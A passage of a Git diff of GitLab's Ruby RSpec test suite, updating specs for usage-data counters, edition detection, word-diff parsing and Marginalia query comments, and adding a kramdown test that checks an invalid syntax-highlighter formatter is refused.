@@ -111,7 +131,7 @@ RSpec.describe Gitlab::UsageDataCounters::HLLRedisCounter, :clean_gitlab_redis_s
end
end
- context 'with no feature flag set' do
+ context 'with no event feature flag set' do
it 'tracks the event' do
expect(Gitlab::Redis::HLL).to receive(:add)
@@ -289,6 +309,11 @@ RSpec.describe Gitlab::UsageDataCounters::HLLRedisCounter, :clean_gitlab_redis_s
described_class.track_event(daily_event, values: entity4, time: 29.days.ago)
end
+ it 'returns 0 if there are no keys for the given events' do
+ expect(Gitlab::Redis::HLL).not_to receive(:count)
+ expect(described_class.unique_events(event_names: [weekly_event], start_date: Date.current, end_date: 4.weeks.ago)).to eq(-1)
+ end
+
it 'raise error if metrics are not in the same slot' do
expect do
described_class.unique_events(event_names: [compliance_slot_event, analytics_slot_event], start_date: 4.weeks.ago, end_date: Date.current)
@@ -508,6 +533,11 @@ RSpec.describe Gitlab::UsageDataCounters::HLLRedisCounter, :clean_gitlab_redis_s
expect { described_class.calculate_events_union(**time_range.merge(event_names: %w[event1_slot event4])) }.to raise_error described_class::SlotMismatch
expect { described_class.calculate_events_union(**time_range.merge(event_names: %w[event5_slot event3_slot])) }.to raise_error described_class::AggregationMismatch
end
+
+ it 'returns 0 if there are no keys for given events' do
+ expect(Gitlab::Redis::HLL).not_to receive(:count)
+ expect(described_class.calculate_events_union(event_names: %w[event1_slot event2_slot event3_slot], start_date: Date.current, end_date: 4.weeks.ago)).to eq(-1)
+ end
end
describe '.weekly_time_range' do
diff --git a/spec/lib/gitlab/usage_data_counters/issue_activity_unique_counter_spec.rb b/spec/lib/gitlab/usage_data_counters/issue_activity_unique_counter_spec.rb
index f8f6494b92e..1b73e5269d7 100644
--- a/spec/lib/gitlab/usage_data_counters/issue_activity_unique_counter_spec.rb
+++ b/spec/lib/gitlab/usage_data_counters/issue_activity_unique_counter_spec.rb
@@ -3,9 +3,10 @@
require 'spec_helper'
RSpec.describe Gitlab::UsageDataCounters::IssueActivityUniqueCounter, :clean_gitlab_redis_shared_state do
- let(:user1) { build(:user, id: 1) }
- let(:user2) { build(:user, id: 2) }
- let(:user3) { build(:user, id: 3) }
+ let_it_be(:user1) { build(:user, id: 1) }
+ let_it_be(:user2) { build(:user, id: 2) }
+ let_it_be(:user3) { build(:user, id: 3) }
+
let(:time) { Time.zone.now }
context 'for Issue title edit actions' do
@@ -272,10 +273,13 @@ RSpec.describe Gitlab::UsageDataCounters::IssueActivityUniqueCounter, :clean_git
described_class.track_issue_title_changed_action(author: user1)
described_class.track_issue_description_changed_action(author: user1)
described_class.track_issue_assignee_changed_action(author: user1)
- described_class.track_issue_title_changed_action(author: user2, time: time - 2.days)
- described_class.track_issue_title_changed_action(author: user3, time: time - 3.days)
- described_class.track_issue_description_changed_action(author: user3, time: time - 3.days)
- described_class.track_issue_assignee_changed_action(author: user3, time: time - 3.days)
+
+ travel_to(2.days.ago) do
+ described_class.track_issue_title_changed_action(author: user2)
+ described_class.track_issue_title_changed_action(author: user3)
+ described_class.track_issue_description_changed_action(author: user3)
+ described_class.track_issue_assignee_changed_action(author: user3)
+ end
events = Gitlab::UsageDataCounters::HLLRedisCounter.events_for_category(described_class::ISSUE_CATEGORY)
today_count = Gitlab::UsageDataCounters::HLLRedisCounter.unique_events(event_names: events, start_date: time, end_date: time)
diff --git a/spec/lib/gitlab/usage_data_counters/quick_action_activity_unique_counter_spec.rb b/spec/lib/gitlab/usage_data_counters/quick_action_activity_unique_counter_spec.rb
index 2df0f331f73..1940442d2ad 100644
--- a/spec/lib/gitlab/usage_data_counters/quick_action_activity_unique_counter_spec.rb
+++ b/spec/lib/gitlab/usage_data_counters/quick_action_activity_unique_counter_spec.rb
@@ -115,6 +115,26 @@ RSpec.describe Gitlab::UsageDataCounters::QuickActionActivityUniqueCounter, :cle
end
end
+ context 'tracking spent' do
+ let(:quickaction_name) { 'spent' }
+
+ context 'adding time' do
+ let(:args) { '1d' }
+
+ it_behaves_like 'a tracked quick action unique event' do
+ let(:action) { 'i_quickactions_spend_add' }
+ end
+ end
+
+ context 'removing time' do
+ let(:args) { '-1d' }
+
+ it_behaves_like 'a tracked quick action unique event' do
+ let(:action) { 'i_quickactions_spend_subtract' }
+ end
+ end
+ end
+
context 'tracking unassign' do
let(:quickaction_name) { 'unassign' }
diff --git a/spec/lib/gitlab/usage_data_non_sql_metrics_spec.rb b/spec/lib/gitlab/usage_data_non_sql_metrics_spec.rb
new file mode 100644
index 00000000000..32d1288c59c
--- /dev/null
+++ b/spec/lib/gitlab/usage_data_non_sql_metrics_spec.rb
@@ -0,0 +1,55 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::UsageDataNonSqlMetrics do
+ let(:default_count) { Gitlab::UsageDataNonSqlMetrics::SQL_METRIC_DEFAULT }
+
+ describe '.count' do
+ it 'returns default value for count' do
+ expect(described_class.count(User)).to eq(default_count)
+ end
+ end
+
+ describe '.distinct_count' do
+ it 'returns default value for distinct count' do
+ expect(described_class.distinct_count(User)).to eq(default_count)
+ end
+ end
+
+ describe '.estimate_batch_distinct_count' do
+ it 'returns default value for estimate_batch_distinct_count' do
+ expect(described_class.estimate_batch_distinct_count(User)).to eq(default_count)
+ end
+ end
+
+ describe '.sum' do
+ it 'returns default value for sum' do
+ expect(described_class.sum(JiraImportState.finished, :imported_issues_count)).to eq(default_count)
+ end
+ end
+
+ describe '.histogram' do
+ it 'returns default value for histogram' do
+ expect(described_class.histogram(JiraImportState.finished, :imported_issues_count, buckets: [], bucket_size: 0)).to eq(default_count)
+ end
+ end
+
+ describe 'min/max methods' do
+ using RSpec::Parameterized::TableSyntax
+
+ where(:model, :result) do
+ User | nil
+ Issue | nil
+ Deployment | nil
+ Project | nil
+ end
+
+ with_them do
+ it 'returns nil' do
+ expect(described_class.minimum_id(model)).to eq(result)
+ expect(described_class.maximum_id(model)).to eq(result)
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/usage_data_queries_spec.rb b/spec/lib/gitlab/usage_data_queries_spec.rb
index 12eac643383..718ab3b2d95 100644
--- a/spec/lib/gitlab/usage_data_queries_spec.rb
+++ b/spec/lib/gitlab/usage_data_queries_spec.rb
@@ -11,12 +11,24 @@ RSpec.describe Gitlab::UsageDataQueries do
it 'returns the raw SQL' do
expect(described_class.count(User)).to start_with('SELECT COUNT("users"."id") FROM "users"')
end
+
+ it 'does not mix a nil column with keyword arguments' do
+ expect(described_class).to receive(:raw_sql).with(User, nil)
+
+ described_class.count(User, start: 1, finish: 2)
+ end
end
describe '.distinct_count' do
it 'returns the raw SQL' do
expect(described_class.distinct_count(Issue, :author_id)).to eq('SELECT COUNT(DISTINCT "issues"."author_id") FROM "issues"')
end
+
+ it 'does not mix a nil column with keyword arguments' do
+ expect(described_class).to receive(:raw_sql).with(Issue, nil, :distinct)
+
+ described_class.distinct_count(Issue, nil, start: 1, finish: 2)
+ end
end
describe '.redis_usage_data' do
@@ -46,4 +58,24 @@ RSpec.describe Gitlab::UsageDataQueries do
.to eq('SELECT (SELECT COUNT("users"."id") FROM "users") + (SELECT COUNT("issues"."id") FROM "issues")')
end
end
+
+ describe 'min/max methods' do
+ it 'returns nil' do
+ # user min/max
+ expect(described_class.minimum_id(User)).to eq(nil)
+ expect(described_class.maximum_id(User)).to eq(nil)
+
+ # issue min/max
+ expect(described_class.minimum_id(Issue)).to eq(nil)
+ expect(described_class.maximum_id(Issue)).to eq(nil)
+
+ # deployment min/max
+ expect(described_class.minimum_id(Deployment)).to eq(nil)
+ expect(described_class.maximum_id(Deployment)).to eq(nil)
+
+ # project min/max
+ expect(described_class.minimum_id(Project)).to eq(nil)
+ expect(described_class.maximum_id(Project)).to eq(nil)
+ end
+ end
end
diff --git a/spec/lib/gitlab/usage_data_spec.rb b/spec/lib/gitlab/usage_data_spec.rb
index b1581bf02a6..01701f7aebd 100644
--- a/spec/lib/gitlab/usage_data_spec.rb
+++ b/spec/lib/gitlab/usage_data_spec.rb
@@ -167,7 +167,10 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
create(:key, user: user)
create(:project, creator: user, disable_overriding_approvers_per_merge_request: true)
create(:project, creator: user, disable_overriding_approvers_per_merge_request: false)
- create(:remote_mirror, project: project)
+ create(:remote_mirror, project: project, enabled: true)
+ another_user = create(:user)
+ another_project = create(:project, :repository, creator: another_user)
+ create(:remote_mirror, project: another_project, enabled: false)
create(:snippet, author: user)
end
@@ -176,7 +179,7 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
keys: 2,
merge_requests: 2,
projects_with_disable_overriding_approvers_per_merge_request: 2,
- projects_without_disable_overriding_approvers_per_merge_request: 4,
+ projects_without_disable_overriding_approvers_per_merge_request: 6,
remote_mirrors: 2,
snippets: 2
)
@@ -185,7 +188,7 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
keys: 1,
merge_requests: 1,
projects_with_disable_overriding_approvers_per_merge_request: 1,
- projects_without_disable_overriding_approvers_per_merge_request: 2,
+ projects_without_disable_overriding_approvers_per_merge_request: 3,
remote_mirrors: 1,
snippets: 1
)
@@ -1288,6 +1291,7 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
'p_analytics_repo' => 123,
'i_analytics_cohorts' => 123,
'i_analytics_dev_ops_score' => 123,
+ 'i_analytics_dev_ops_adoption' => 123,
'i_analytics_instance_statistics' => 123,
'p_analytics_merge_request' => 123,
'g_analytics_merge_request' => 123,
@@ -1358,24 +1362,36 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
let(:categories) { ::Gitlab::UsageDataCounters::HLLRedisCounter.categories }
let(:ineligible_total_categories) do
- %w[source_code ci_secrets_management incident_management_alerts snippets terraform epics_usage]
+ %w[source_code ci_secrets_management incident_management_alerts snippets terraform incident_management_oncall secure]
end
- it 'has all known_events' do
- expect(subject).to have_key(:redis_hll_counters)
+ context 'with redis_hll_tracking feature enabled' do
+ it 'has all known_events' do
+ stub_feature_flags(redis_hll_tracking: true)
- expect(subject[:redis_hll_counters].keys).to match_array(categories)
+ expect(subject).to have_key(:redis_hll_counters)
- categories.each do |category|
- keys = ::Gitlab::UsageDataCounters::HLLRedisCounter.events_for_category(category)
+ expect(subject[:redis_hll_counters].keys).to match_array(categories)
- metrics = keys.map { |key| "#{key}_weekly" } + keys.map { |key| "#{key}_monthly" }
+ categories.each do |category|
+ keys = ::Gitlab::UsageDataCounters::HLLRedisCounter.events_for_category(category)
- if ineligible_total_categories.exclude?(category)
- metrics.append("#{category}_total_unique_counts_weekly", "#{category}_total_unique_counts_monthly")
+ metrics = keys.map { |key| "#{key}_weekly" } + keys.map { |key| "#{key}_monthly" }
+
+ if ineligible_total_categories.exclude?(category)
+ metrics.append("#{category}_total_unique_counts_weekly", "#{category}_total_unique_counts_monthly")
+ end
+
+ expect(subject[:redis_hll_counters][category].keys).to match_array(metrics)
end
+ end
+ end
+
+ context 'with redis_hll_tracking disabled' do
+ it 'does not have redis_hll_tracking key' do
+ stub_feature_flags(redis_hll_tracking: false)
- expect(subject[:redis_hll_counters][category].keys).to match_array(metrics)
+ expect(subject).not_to have_key(:redis_hll_counters)
end
end
end
diff --git a/spec/lib/gitlab/utils/lazy_attributes_spec.rb b/spec/lib/gitlab/utils/lazy_attributes_spec.rb
index dfffe70defb..1ebc9b0d711 100644
--- a/spec/lib/gitlab/utils/lazy_attributes_spec.rb
+++ b/spec/lib/gitlab/utils/lazy_attributes_spec.rb
@@ -13,8 +13,10 @@ RSpec.describe Gitlab::Utils::LazyAttributes do
def initialize
@number = -> { 1 }
- @reader_1, @reader_2 = 'reader_1', -> { 'reader_2' }
- @incorrect_type, @accessor_2 = -> { :incorrect_type }, -> { 'accessor_2' }
+ @reader_1 = 'reader_1'
+ @reader_2 = -> { 'reader_2' }
+ @incorrect_type = -> { :incorrect_type }
+ @accessor_2 = -> { 'accessor_2' }
end
end
end
diff --git a/spec/lib/gitlab/utils/usage_data_spec.rb b/spec/lib/gitlab/utils/usage_data_spec.rb
index 6e1904c43e1..11b2a12f228 100644
--- a/spec/lib/gitlab/utils/usage_data_spec.rb
+++ b/spec/lib/gitlab/utils/usage_data_spec.rb
@@ -187,6 +187,7 @@ RSpec.describe Gitlab::Utils::UsageData do
describe '#histogram' do
let_it_be(:projects) { create_list(:project, 3) }
+
let(:project1) { projects.first }
let(:project2) { projects.second }
let(:project3) { projects.third }
@@ -478,4 +479,22 @@ RSpec.describe Gitlab::Utils::UsageData do
expect { described_class.track_usage_event(unknown_event, value) }.to raise_error(Gitlab::UsageDataCounters::HLLRedisCounter::UnknownEvent)
end
end
+
+ describe 'min/max' do
+ let(:model) { double(:relation) }
+
+ it 'returns min from the model' do
+ allow(model).to receive(:minimum).and_return(2)
+ allow(model).to receive(:name).and_return('sample_min_model')
+
+ expect(described_class.minimum_id(model)).to eq(2)
+ end
+
+ it 'returns max from the model' do
+ allow(model).to receive(:maximum).and_return(100)
+ allow(model).to receive(:name).and_return('sample_max_model')
+
+ expect(described_class.maximum_id(model)).to eq(100)
+ end
+ end
end
diff --git a/spec/lib/gitlab/utils_spec.rb b/spec/lib/gitlab/utils_spec.rb
index 665eebdfd9e..11dba610faf 100644
--- a/spec/lib/gitlab/utils_spec.rb
+++ b/spec/lib/gitlab/utils_spec.rb
@@ -162,7 +162,7 @@ RSpec.describe Gitlab::Utils do
describe '.nlbr' do
it 'replaces new lines with <br>' do
- expect(described_class.nlbr("<b>hello</b>\n<i>world</i>".freeze)).to eq("hello<br>world")
+ expect(described_class.nlbr("<b>hello</b>\n<i>world</i>")).to eq("hello<br>world")
end
end
@@ -192,6 +192,7 @@ RSpec.describe Gitlab::Utils do
expect(to_boolean('YeS')).to be(true)
expect(to_boolean('t')).to be(true)
expect(to_boolean('1')).to be(true)
+ expect(to_boolean(1)).to be(true)
expect(to_boolean('ON')).to be(true)
expect(to_boolean('FaLse')).to be(false)
@@ -199,6 +200,7 @@ RSpec.describe Gitlab::Utils do
expect(to_boolean('NO')).to be(false)
expect(to_boolean('n')).to be(false)
expect(to_boolean('0')).to be(false)
+ expect(to_boolean(0)).to be(false)
expect(to_boolean('oFF')).to be(false)
end
@@ -388,8 +390,8 @@ RSpec.describe Gitlab::Utils do
describe ".safe_downcase!" do
where(:str, :result) do
- "test".freeze | "test"
- "Test".freeze | "test"
+ "test" | "test"
+ "Test" | "test"
"test" | "test"
"Test" | "test"
end
diff --git a/spec/lib/gitlab/web_ide/config/entry/global_spec.rb b/spec/lib/gitlab/web_ide/config/entry/global_spec.rb
index 3e29bf89785..8dbe64af1c7 100644
--- a/spec/lib/gitlab/web_ide/config/entry/global_spec.rb
+++ b/spec/lib/gitlab/web_ide/config/entry/global_spec.rb
@@ -83,6 +83,7 @@ RSpec.describe Gitlab::WebIde::Config::Entry::Global do
expect(global.terminal_value).to eq({
tag_list: [],
yaml_variables: [],
+ job_variables: [],
options: {
before_script: ['ls'],
script: ['sleep 10s'],
diff --git a/spec/lib/gitlab/web_ide/config/entry/terminal_spec.rb b/spec/lib/gitlab/web_ide/config/entry/terminal_spec.rb
index 0df0f56f440..d6d0fc4224d 100644
--- a/spec/lib/gitlab/web_ide/config/entry/terminal_spec.rb
+++ b/spec/lib/gitlab/web_ide/config/entry/terminal_spec.rb
@@ -132,7 +132,7 @@ RSpec.describe Gitlab::WebIde::Config::Entry::Terminal do
{ before_script: %w[ls pwd],
script: 'sleep 100',
tags: ['webide'],
- image: 'ruby:2.5',
+ image: 'ruby:3.0',
services: ['mysql'],
variables: { KEY: 'value' } }
end
@@ -142,8 +142,9 @@ RSpec.describe Gitlab::WebIde::Config::Entry::Terminal do
.to eq(
tag_list: ['webide'],
yaml_variables: [{ key: 'KEY', value: 'value', public: true }],
+ job_variables: [{ key: 'KEY', value: 'value', public: true }],
options: {
- image: { name: "ruby:2.5" },
+ image: { name: "ruby:3.0" },
services: [{ name: "mysql" }],
before_script: %w[ls pwd],
script: ['sleep 100']
diff --git a/spec/lib/gitlab/word_diff/chunk_collection_spec.rb b/spec/lib/gitlab/word_diff/chunk_collection_spec.rb
index aa837f760c1..73e9ff3974a 100644
--- a/spec/lib/gitlab/word_diff/chunk_collection_spec.rb
+++ b/spec/lib/gitlab/word_diff/chunk_collection_spec.rb
@@ -41,4 +41,27 @@ RSpec.describe Gitlab::WordDiff::ChunkCollection do
expect(collection.content).to eq('')
end
end
+
+ describe '#marker_ranges' do
+ let(:chunks) do
+ [
+ Gitlab::WordDiff::Segments::Chunk.new(' Hello '),
+ Gitlab::WordDiff::Segments::Chunk.new('-World'),
+ Gitlab::WordDiff::Segments::Chunk.new('+GitLab'),
+ Gitlab::WordDiff::Segments::Chunk.new('+!!!')
+ ]
+ end
+
+ it 'returns marker ranges for every chunk with changes' do
+ chunks.each { |chunk| collection.add(chunk) }
+
+ expect(collection.marker_ranges).to eq(
+ [
+ Gitlab::MarkerRange.new(6, 10, mode: :deletion),
+ Gitlab::MarkerRange.new(11, 16, mode: :addition),
+ Gitlab::MarkerRange.new(17, 19, mode: :addition)
+ ]
+ )
+ end
+ end
end
diff --git a/spec/lib/gitlab/word_diff/parser_spec.rb b/spec/lib/gitlab/word_diff/parser_spec.rb
index 3aeefb57a02..e793e44fd45 100644
--- a/spec/lib/gitlab/word_diff/parser_spec.rb
+++ b/spec/lib/gitlab/word_diff/parser_spec.rb
@@ -36,15 +36,26 @@ RSpec.describe Gitlab::WordDiff::Parser do
aggregate_failures do
expect(diff_lines.count).to eq(7)
- expect(diff_lines.map(&:to_hash)).to match_array(
+ expect(diff_lines.map { |line| diff_line_attributes(line) }).to eq(
[
- a_hash_including(index: 0, old_pos: 1, new_pos: 1, text: '', type: nil),
- a_hash_including(index: 1, old_pos: 2, new_pos: 2, text: 'Unchanged line', type: nil),
- a_hash_including(index: 2, old_pos: 3, new_pos: 3, text: '', type: nil),
- a_hash_including(index: 3, old_pos: 4, new_pos: 4, text: 'Old changeNew addition unchanged content', type: nil),
- a_hash_including(index: 4, old_pos: 50, new_pos: 50, text: '@@ -50,14 +50,13 @@', type: 'match'),
- a_hash_including(index: 5, old_pos: 50, new_pos: 50, text: 'First change same same same_removed_added_end of the line', type: nil),
- a_hash_including(index: 6, old_pos: 51, new_pos: 51, text: '', type: nil)
+ { index: 0, old_pos: 1, new_pos: 1, text: '', type: nil, marker_ranges: [] },
+ { index: 1, old_pos: 2, new_pos: 2, text: 'Unchanged line', type: nil, marker_ranges: [] },
+ { index: 2, old_pos: 3, new_pos: 3, text: '', type: nil, marker_ranges: [] },
+ { index: 3, old_pos: 4, new_pos: 4, text: 'Old changeNew addition unchanged content', type: nil,
+ marker_ranges: [
+ Gitlab::MarkerRange.new(0, 9, mode: :deletion),
+ Gitlab::MarkerRange.new(10, 21, mode: :addition)
+ ] },
+
+ { index: 4, old_pos: 50, new_pos: 50, text: '@@ -50,14 +50,13 @@', type: 'match', marker_ranges: [] },
+ { index: 5, old_pos: 50, new_pos: 50, text: 'First change same same same_removed_added_end of the line', type: nil,
+ marker_ranges: [
+ Gitlab::MarkerRange.new(0, 11, mode: :addition),
+ Gitlab::MarkerRange.new(28, 35, mode: :deletion),
+ Gitlab::MarkerRange.new(36, 41, mode: :addition)
+ ] },
+
+ { index: 6, old_pos: 51, new_pos: 51, text: '', type: nil, marker_ranges: [] }
]
)
end
@@ -64,4 +75,17 @@ RSpec.describe Gitlab::WordDiff::Parser do
it { is_expected.to eq([]) }
end
end
+
+ private
+
+ def diff_line_attributes(diff_line)
+ {
+ index: diff_line.index,
+ old_pos: diff_line.old_pos,
+ new_pos: diff_line.new_pos,
+ text: diff_line.text,
+ type: diff_line.type,
+ marker_ranges: diff_line.marker_ranges
+ }
+ end
end
diff --git a/spec/lib/gitlab/workhorse_spec.rb b/spec/lib/gitlab/workhorse_spec.rb
index c22df5dd063..d40ecc7e04e 100644
--- a/spec/lib/gitlab/workhorse_spec.rb
+++ b/spec/lib/gitlab/workhorse_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe Gitlab::Workhorse do
let_it_be(:project) { create(:project, :repository) }
+
let(:repository) { project.repository }
def decode_workhorse_header(array)
diff --git a/spec/lib/gitlab_spec.rb b/spec/lib/gitlab_spec.rb
index c5738ae730f..4df00eaa439 100644
--- a/spec/lib/gitlab_spec.rb
+++ b/spec/lib/gitlab_spec.rb
@@ -247,75 +247,117 @@ RSpec.describe Gitlab do
end
end
- describe '.ee?' do
+ describe 'ee? and jh?' do
before do
- stub_env('FOSS_ONLY', nil) # Make sure the ENV is clean
+ # Make sure the ENV is clean
+ stub_env('FOSS_ONLY', nil)
+ stub_env('EE_ONLY', nil)
+
described_class.instance_variable_set(:@is_ee, nil)
+ described_class.instance_variable_set(:@is_jh, nil)
end
after do
described_class.instance_variable_set(:@is_ee, nil)
+ described_class.instance_variable_set(:@is_jh, nil)
end
- context 'for EE' do
- before do
- root = Pathname.new('dummy')
- license_path = double(:path, exist?: true)
+ def stub_path(*paths, **arguments)
+ root = Pathname.new('dummy')
+ pathname = double(:path, **arguments)
- allow(described_class)
- .to receive(:root)
- .and_return(root)
+ allow(described_class)
+ .to receive(:root)
+ .and_return(root)
+ allow(root).to receive(:join)
+
+ paths.each do |path|
allow(root)
.to receive(:join)
- .with('ee/app/models/license.rb')
- .and_return(license_path)
+ .with(path)
+ .and_return(pathname)
end
+ end
- context 'when using FOSS_ONLY=1' do
+ describe '.ee?' do
+ context 'for EE' do
before do
- stub_env('FOSS_ONLY', '1')
+ stub_path('ee/app/models/license.rb', exist?: true)
end
- it 'returns not to be EE' do
- expect(described_class).not_to be_ee
+ context 'when using FOSS_ONLY=1' do
+ before do
+ stub_env('FOSS_ONLY', '1')
+ end
+
+ it 'returns not to be EE' do
+ expect(described_class).not_to be_ee
+ end
end
- end
- context 'when using FOSS_ONLY=0' do
- before do
- stub_env('FOSS_ONLY', '0')
+ context 'when using FOSS_ONLY=0' do
+ before do
+ stub_env('FOSS_ONLY', '0')
+ end
+
+ it 'returns to be EE' do
+ expect(described_class).to be_ee
+ end
end
- it 'returns to be EE' do
- expect(described_class).to be_ee
+ context 'when using default FOSS_ONLY' do
+ it 'returns to be EE' do
+ expect(described_class).to be_ee
+ end
end
end
- context 'when using default FOSS_ONLY' do
- it 'returns to be EE' do
- expect(described_class).to be_ee
+ context 'for CE' do
+ before do
+ stub_path('ee/app/models/license.rb', exist?: false)
+ end
+
+ it 'returns not to be EE' do
+ expect(described_class).not_to be_ee
end
end
end
- context 'for CE' do
- before do
- root = double(:path)
- license_path = double(:path, exists?: false)
+ describe '.jh?' do
+ context 'for JH' do
+ before do
+ stub_path(
+ 'ee/app/models/license.rb',
+ 'jh',
+ exist?: true)
+ end
- allow(described_class)
- .to receive(:root)
- .and_return(Pathname.new('dummy'))
+ context 'when using default FOSS_ONLY and EE_ONLY' do
+ it 'returns to be JH' do
+ expect(described_class).to be_jh
+ end
+ end
- allow(root)
- .to receive(:join)
- .with('ee/app/models/license.rb')
- .and_return(license_path)
- end
+ context 'when using FOSS_ONLY=1' do
+ before do
+ stub_env('FOSS_ONLY', '1')
+ end
+
+ it 'returns not to be JH' do
+ expect(described_class).not_to be_jh
+ end
+ end
+
+ context 'when using EE_ONLY=1' do
+ before do
+ stub_env('EE_ONLY', '1')
+ end
- it 'returns not to be EE' do
- expect(described_class).not_to be_ee
+ it 'returns not to be JH' do
+ expect(described_class).not_to be_jh
+ end
+ end
end
end
end
diff --git a/spec/lib/kramdown/kramdown_spec.rb b/spec/lib/kramdown/kramdown_spec.rb
new file mode 100644
index 00000000000..986a8d9959e
--- /dev/null
+++ b/spec/lib/kramdown/kramdown_spec.rb
@@ -0,0 +1,38 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'Ensure kramdown detects invalid syntax highlighting formatters' do
+ subject { Kramdown::Document.new(options + "\n" + code).to_html }
+
+ let(:code) do
+ <<-RUBY
+~~~ ruby
+ def what?
+ 42
+ end
+~~~
+ RUBY
+ end
+
+ context 'with invalid formatter' do
+ let(:options) { %({::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\\}" /}) }
+
+ it 'falls back to standard HTML and disallows CSV' do
+ expect(CSV).not_to receive(:new)
+ expect(::Rouge::Formatters::HTML).to receive(:new).and_call_original
+
+ expect(subject).to be_present
+ end
+ end
+
+ context 'with valid formatter' do
+ let(:options) { %({::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: HTMLLegacy\\}" /}) }
+
+ it 'allows formatter' do
+ expect(::Rouge::Formatters::HTMLLegacy).to receive(:new).and_call_original
+
+ expect(subject).to be_present
+ end
+ end
+end
diff --git a/spec/lib/marginalia_spec.rb b/spec/lib/marginalia_spec.rb
index 2ee27fbe20c..040f70236c6 100644
--- a/spec/lib/marginalia_spec.rb
+++ b/spec/lib/marginalia_spec.rb
@@ -3,18 +3,28 @@
require 'spec_helper'
RSpec.describe 'Marginalia spec' do
- class MarginaliaTestController < ActionController::Base
+ class MarginaliaTestController < ApplicationController
+ skip_before_action :authenticate_user!, :check_two_factor_requirement
+
def first_user
User.first
render body: nil
end
+
+ private
+
+ [:auth_user, :current_user, :set_experimentation_subject_id_cookie, :signed_in?].each do |method|
+ define_method(method) { }
+ end
end
class MarginaliaTestJob
include Sidekiq::Worker
def perform
- User.first
+ Gitlab::ApplicationContext.with_context(caller_id: self.class.name) do
+ User.first
+ end
end
end
@@ -30,10 +40,9 @@ RSpec.describe 'Marginalia spec' do
let(:component_map) do
{
- "application" => "test",
- "controller" => "marginalia_test",
- "action" => "first_user",
- "correlation_id" => correlation_id
+ "application" => "test",
+ "endpoint_id" => "MarginaliaTestController#first_user",
+ "correlation_id" => correlation_id
}
end
@@ -47,6 +56,7 @@ RSpec.describe 'Marginalia spec' do
describe 'for Sidekiq worker jobs' do
around do |example|
with_sidekiq_server_middleware do |chain|
+ chain.add Labkit::Middleware::Sidekiq::Context::Server
chain.add Marginalia::SidekiqInstrumentation::Middleware
Marginalia.application_name = "sidekiq"
example.run
@@ -66,10 +76,10 @@ RSpec.describe 'Marginalia spec' do
let(:component_map) do
{
- "application" => "sidekiq",
- "job_class" => "MarginaliaTestJob",
- "correlation_id" => sidekiq_job['correlation_id'],
- "jid" => sidekiq_job['jid']
+ "application" => "sidekiq",
+ "endpoint_id" => "MarginaliaTestJob",
+ "correlation_id" => sidekiq_job['correlation_id'],
+ "jid" => sidekiq_job['jid']
}
end
@@ -80,19 +90,33 @@ RSpec.describe 'Marginalia spec' do
end
describe 'for ActionMailer delivery jobs' do
+ # We need to ensure that this runs through Sidekiq to take
+ # advantage of the middleware. There is a Rails bug that means we
+ # have to do some extra steps to make this happen:
+ # https://github.com/rails/rails/issues/37270#issuecomment-553927324
+ around do |example|
+ descendants = ActiveJob::Base.descendants + [ActiveJob::Base]
+ descendants.each(&:disable_test_adapter)
+ ActiveJob::Base.queue_adapter = :sidekiq
+
+ example.run
+
+ descendants.each { |a| a.queue_adapter = :test }
+ end
+
let(:delivery_job) { MarginaliaTestMailer.first_user.deliver_later }
let(:recorded) do
ActiveRecord::QueryRecorder.new do
- delivery_job.perform_now
+ Sidekiq::Worker.drain_all
end
end
let(:component_map) do
{
- "application" => "sidekiq",
- "jid" => delivery_job.job_id,
- "job_class" => delivery_job.arguments.first
+ "application" => "sidekiq",
+ "endpoint_id" => "ActionMailer::MailDeliveryJob",
+ "jid" => delivery_job.job_id
}
end
diff --git a/spec/lib/mattermost/command_spec.rb b/spec/lib/mattermost/command_spec.rb
index 26d1ec32232..0f2711e0b11 100644
--- a/spec/lib/mattermost/command_spec.rb
+++ b/spec/lib/mattermost/command_spec.rb
@@ -19,7 +19,7 @@ RSpec.describe Mattermost::Command do
trigger: 'gitlab' }
end
- subject { described_class.new(nil).create(params) }
+ subject { described_class.new(nil).create(params) } # rubocop:disable Rails/SaveBang
context 'for valid trigger word' do
before do
diff --git a/spec/lib/mattermost/session_spec.rb b/spec/lib/mattermost/session_spec.rb
index 93422b01ca7..67ccb48e3a7 100644
--- a/spec/lib/mattermost/session_spec.rb
+++ b/spec/lib/mattermost/session_spec.rb
@@ -39,7 +39,7 @@ RSpec.describe Mattermost::Session, type: :request do
context 'with oauth_uri' do
let!(:doorkeeper) do
- Doorkeeper::Application.create(
+ Doorkeeper::Application.create!(
name: 'GitLab Mattermost',
redirect_uri: "#{mattermost_url}/signup/gitlab/complete\n#{mattermost_url}/login/gitlab/complete",
scopes: '')
diff --git a/spec/lib/mattermost/team_spec.rb b/spec/lib/mattermost/team_spec.rb
index 0870114ca28..e3ef5ff5377 100644
--- a/spec/lib/mattermost/team_spec.rb
+++ b/spec/lib/mattermost/team_spec.rb
@@ -71,7 +71,7 @@ RSpec.describe Mattermost::Team do
end
describe '#create' do
- subject { described_class.new(nil).create(name: "devteam", display_name: "Dev Team", type: "O") }
+ subject { described_class.new(nil).create(name: "devteam", display_name: "Dev Team", type: "O") } # rubocop:disable Rails/SaveBang
context 'for a new team' do
let(:response) do
diff --git a/spec/lib/peek/views/active_record_spec.rb b/spec/lib/peek/views/active_record_spec.rb
index dad5a2bf461..9eeeca4de61 100644
--- a/spec/lib/peek/views/active_record_spec.rb
+++ b/spec/lib/peek/views/active_record_spec.rb
@@ -5,14 +5,16 @@ require 'spec_helper'
RSpec.describe Peek::Views::ActiveRecord, :request_store do
subject { Peek.views.find { |v| v.instance_of?(Peek::Views::ActiveRecord) } }
- let(:connection) { double(:connection) }
+ let(:connection_1) { double(:connection) }
+ let(:connection_2) { double(:connection) }
+ let(:connection_3) { double(:connection) }
let(:event_1) do
{
name: 'SQL',
sql: 'SELECT * FROM users WHERE id = 10',
cached: false,
- connection: connection
